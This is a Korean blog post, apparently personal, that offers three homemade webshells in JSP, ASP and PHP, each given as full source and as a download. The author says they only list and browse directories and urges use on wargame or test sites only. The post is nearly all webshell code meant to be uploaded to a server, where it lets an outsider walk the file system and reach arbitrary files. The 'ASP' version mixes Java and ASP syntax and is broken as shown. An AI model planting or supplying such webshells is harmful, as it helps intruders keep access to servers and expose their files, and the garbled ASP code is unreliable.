web_security

국산 토종 종갓집 웹쉘

HawordFREAKEK 2023. 4. 18. 21:23
반응형

손수 만든 webshell 이며 command 실행, 파일 쓰기/수정/삭제 기능 따윈 없습니다.
기능이 허접한 웹쉘이므로, 가급적이면 github에 있는 웹쉘을 쓰시길 바라며 정말 이 형편 없는 웹쉘이 필요한 사람에게 사용되었으면 좋겠네요.
 
아무리 기능이 없다고 해도, 이런 악의적인 파일을 임의의 사이트에 업로드 하여 테스트하는 행위는 매우 위험하므로 wargame, test 사이트에만 올리시길 바랍니다.
ㅅㄱ


순서는 asp webshell, jsp webshell, php webshell 순서대로 진행됩니다
 
 

godhaword_shell.jsp
0.00MB
godhaword_shell.asp
0.00MB
godhaword_shell.php
0.00MB
<%@ page language="java" %>
<%@ page import="java.io.*" %>

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Current Directory Files</title>
</head>
<form>
  <input type="button" value="Home" onclick="location.href='?dir=/';">
  <input type="button" value="Up" onclick="location.href='?dir=..';">
</form>
<body>
    <h1>Current Directory Files</h1>
    <ul>
        <% 
            // 현재 경로
            String currentPath = new File(".").getCanonicalPath();
            
            // 현재 경로의 파일 목록
            File[] fileList = new File(currentPath).listFiles();
            
            for (File file : fileList) {
                if (file.isFile()) {
        %>
            <li><a href="<%= file.getName() %>"><%= file.getName() %></a> (File)</li>
        <% 
                } else if (file.isDirectory()) {
        %>
            <li><a href="?dir=<%= file.getName() %>"><%= file.getName() %></a> (Directory)</li>
        <% 
                }
            }
        %>
    </ul>
    
    <% 
        String dirName = request.getParameter("dir");
        
        if (dirName != null) {
            try {
                // 현재 경로에서 폴더 이동
                String newPath = new File(currentPath, dirName).getCanonicalPath();
                File[] newFileList = new File(newPath).listFiles();
                
                if (newFileList != null) {
    %>
                    <h2>Directory: <%= newPath %></h2>
                    <ul>
    <% 
                        for (File file : newFileList) {
                            if (file.isFile()) {
    %>
                                <li><a href="<%= dirName + "/" + file.getName() %>"><%= file.getName() %></a> (File)</li>
    <% 
                            } else if (file.isDirectory()) {
    %>
                                <li><a href="?dir=<%= dirName + "/" + file.getName() %>"><%= file.getName() %></a> (Directory)</li>
    <% 
                            }
                        }
    %>
                    </ul>
    <% 
                }
            } catch (IOException e) {
                // 오류 메시지 출력
                %>
                <h2>Error occurred:</h2>
                <p><%= e.getMessage() %></p>
                <% 
            }
        }
    %>
</body>
</html>
made by J.K.

jsp

<%
String currentPath = new File(".").getCanonicalPath();
String dirName = Request.QueryString("dir");

if (dirName != null) {
try {
String newPath = new File(currentPath, dirName).getCanonicalPath();
File[] newFileList = new File(newPath).listFiles();
%>
<h2>Directory: <%= newPath %></h2>
<form>
<input type="button" value="Home" onclick="location.href='?dir=/';">
<input type="button" value="Up" onclick="location.href='?dir=../';">
</form>
<ul>
<% for (File file : newFileList) {
if (file.isFile()) { %>
<li><a href="<%= dirName + "/" + file.getName() %>"><%= file.getName() %></a> (File)</li>
<% } else if (file.isDirectory()) { %>
<li><a href="?dir=<%= dirName + "/" + file.getName() %>"><%= file.getName() %></a> (Directory)</li>
<% }
} %>
</ul>
<%
} catch (IOException e) {
Response.Write("<h2>Error occurred:</h2><p>" + e.getMessage() + "</p>");
}
} else {
File[] fileList = new File(currentPath).listFiles();
%>
<h1>Current Directory Files</h1>
<form>
<input type="button" value="Home" onclick="location.href='?dir=/';">
</form>
<ul>
<% for (File file : fileList) {
if (file.isFile()) { %>
<li><a href="<%= file.getName() %>"><%= file.getName() %></a> (File)</li>
<% } else if (file.isDirectory()) { %>
<li><a href="?dir=<%= file.getName() %>"><%= file.getName() %></a> (Directory)</li>
<% }
} %>
</ul>
<%
}
%>

<p>made by J.K.</p>

asp

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Current Directory Files</title>
</head>
<body>
    <?php
        // 현재 경로
        $currentPath = getcwd();
        
        // 홈 디렉토리 경로
        $homePath = $_SERVER['DOCUMENT_ROOT'];
        
        // 디렉토리 이동 버튼 처리
        if (isset($_GET['dir'])) {
            $dirName = $_GET['dir'];
            
            // 홈 디렉토리로 이동하는 경우
            if ($dirName == '/') {
                chdir($homePath);
                $currentPath = getcwd();
            }
            // 현재 디렉토리에서 한 단계 위로 이동하는 경우
            else if ($dirName == '..') {
                chdir('..');
                $currentPath = getcwd();
            }
            // 다른 디렉토리로 이동하는 경우
            else {
                chdir($dirName);
                $currentPath = getcwd();
            }
        }
    ?>
    
    <h1>Current Directory Files</h1>
    <form>
      <input type="button" value="Home" onclick="location.href='?dir=/';">
      <input type="button" value="Up" onclick="location.href='?dir=..';">
    </form>
    <ul>
        <?php
            // 현재 경로의 파일 목록
            $fileList = scandir($currentPath);
            
            foreach ($fileList as $file) {
                if (is_file($file)) {
        ?>
            <li><a href="<?php echo $file ?>"><?php echo $file ?></a> (File)</li>
        <?php
                } else if (is_dir($file)) {
        ?>
            <li><a href="?dir=<?php echo $file ?>"><?php echo $file ?></a> (Directory)</li>
        <?php
                }
            }
        ?>
    </ul>
</body>
</html>

php

반응형

'web_security' 카테고리의 다른 글

sql injection payloads  (0) 2021.07.20
robots.txt 란?  (0) 2020.02.15